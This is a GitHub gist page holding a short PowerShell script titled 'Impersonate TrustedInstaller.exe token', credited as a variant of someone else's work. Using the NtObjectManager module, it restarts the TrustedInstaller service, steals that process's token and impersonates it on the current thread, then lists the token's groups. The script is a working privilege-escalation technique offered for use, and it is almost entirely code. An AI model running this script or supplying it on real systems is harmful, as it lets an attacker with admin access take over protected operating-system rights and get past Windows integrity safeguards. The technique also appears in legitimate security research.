Created
August 28, 2017 21:03
-
-
Save dxflatline/acd7df0053bb1ae543616b1f294f0ce7 to your computer and use it in GitHub Desktop.
Impersonate TrustedInstaller.exe token
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Slightly different version from tyranidlair, other functions used from NtObjectManager | |
Uninstall-Module NtObjectManager | |
Install-Module -Name NtObjectManager | |
Stop-Service TrustedInstaller | |
Start-Service TrustedInstaller | |
$tipid = get-process TrustedInstaller | select -expand id | |
$token = Get-NtTokenFromProcess -ProcessId $tipid | |
$current = Get-NtThread -Current -PseudoHandle | |
$imp = $current.Impersonate($token) | |
$imp_token = Get-NtToken -Impersonation | |
$imp_token.Groups |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment